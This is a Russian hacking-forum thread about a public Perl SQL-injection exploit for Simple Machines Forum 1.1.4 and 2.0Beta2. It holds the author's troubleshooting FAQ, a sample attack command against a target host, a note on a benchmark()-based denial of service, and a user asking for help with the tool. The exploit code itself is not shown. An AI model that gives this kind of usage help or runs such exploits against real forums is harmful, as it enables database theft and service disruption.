На самом деле проблема скорее не в версии mysql, а в некорректном синтаксисе SQL-inj.
Мне точно не известно, почему это происходит, потому что такой проблемы не должно быть.
Это неизвестная мне особенность конкретно взятого сервера.
Возможно, там стоит IDS или mod_security. Так или иначе - это плохо.
Получение данных невозможно, однако остается вариант атаки на отказ в облуживании через benchmark().
Из соображений гуманности я не включил модуль доса форума в паблик эксплоит.

Q3: "[-] Prefix is not correct" - что это значит?
A3: Префикс таблиц форума отличен от стандартного.
Необходим перебор его имени по словарю для mysql4.
Возможно автоопределение префикса для mysql 5.х
В паблик эксплоите функция не реализована.

Q4: "[i] Found error."
A4: Найдена ошибка.
1) Может возникнуть при нестабильном коннекте вашего интернет подключения.
Рекомендуется перезапустить эксплоит.
2) Также данная ошибка иногда возникает, если вы не указываете айди админа и доверяете эксплоиту определить его самостоятельно.
Данный баг связан с различиями в структуре таблиц форума разных версий.
Рекомендуется указывать айди админа ключом "-i".
perl smf114expl.pl -h www.target.com -d / -i 1


[i] информация предоставлена с целью ознакомления
Вложения
Тип файла: txt smf114expl.pl.txt (17.9 Кб, 322 просмотров)

Последний раз редактировалось Elekt; 02.09.2008 в 06:43..
 
Ответить с цитированием

  #10  
Старый 12.03.2010, 14:22
Аватар для _eXorcist_
_eXorcist_
Участник форума
Регистрация: 24.12.2009
Сообщений: 130
Провел на форуме:
528073

Репутация: -3
Отправить сообщение для _eXorcist_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от Elekt  

SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
http://www.simplemachines.org/

Уязвимость заключается в неопределенном параметре $topic.
Атакующий может определить его значение и выполнить произвольный SQL-запрос в базу данных приложения.

Дополнительную уязвимость содержат фильтры безопасности, пропускающие внедренный атакующим запрос, составленный особым образом.

Требуется:
1) register_globals=ON
2) database prefix, default "smf_"
3) Mysql => 4.1

c0d3d by Elekt (www.antichat.ru), 13.12.2007

::FAQ::

Q1: "[-] SMF unvulnerable" - что это значит?
A1: Если версия форума действительно <=1.1.4, 2.0Beta2 , то скорее всего
серверная настройка - register_globals=Off - не благоприятна Вам. Ничего сделать нельзя.

Q2: "[-] MySQL < 4.1" - что это значит?
A2: Версия базы данных ниже требуемой.
На самом деле проблема скорее не в версии mysql, а в некорректном синтаксисе SQL-inj.
Мне точно не известно, почему это происходит, потому что такой проблемы не должно быть.
Это неизвестная мне особенность конкретно взятого сервера.
Возможно, там стоит IDS или mod_security. Так или иначе - это плохо.
Получение данных невозможно, однако остается вариант атаки на отказ в облуживании через benchmark().
Из соображений гуманности я не включил модуль доса форума в паблик эксплоит.

Q3: "[-] Prefix is not correct" - что это значит?
A3: Префикс таблиц форума отличен от стандартного.
Необходим перебор его имени по словарю для mysql4.
Возможно автоопределение префикса для mysql 5.х
В паблик эксплоите функция не реализована.

Q4: "[i] Found error."
A4: Найдена ошибка.
1) Может возникнуть при нестабильном коннекте вашего интернет подключения.
Рекомендуется перезапустить эксплоит.
2) Также данная ошибка иногда возникает, если вы не указываете айди админа и доверяете эксплоиту определить его самостоятельно.
Данный баг связан с различиями в структуре таблиц форума разных версий.
Рекомендуется указывать айди админа ключом "-i".
perl smf114expl.pl -h www.target.com -d / -i 1


[i] информация предоставлена с целью ознакомления
кто пользовался данным сплоитом пишет

Cannot open log file!

не может открыть лог файл аддрес сайта
примерно такой

http://www.i.ru/forum/

в сплоит пишу такое

smf114expl.pl -h http://www.i.ru -d /forum/ -i 1

в чем проблемма?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Форумы 74 07.06.2010 16:19
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03
Уязвимость в Simple machines smf 1.0 beta 5 public Nemirof Форумы 0 23.10.2004 00:47
Вопрос про уязвимости в Simple machines forum Форумы 4 27.08.2004 14:09



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ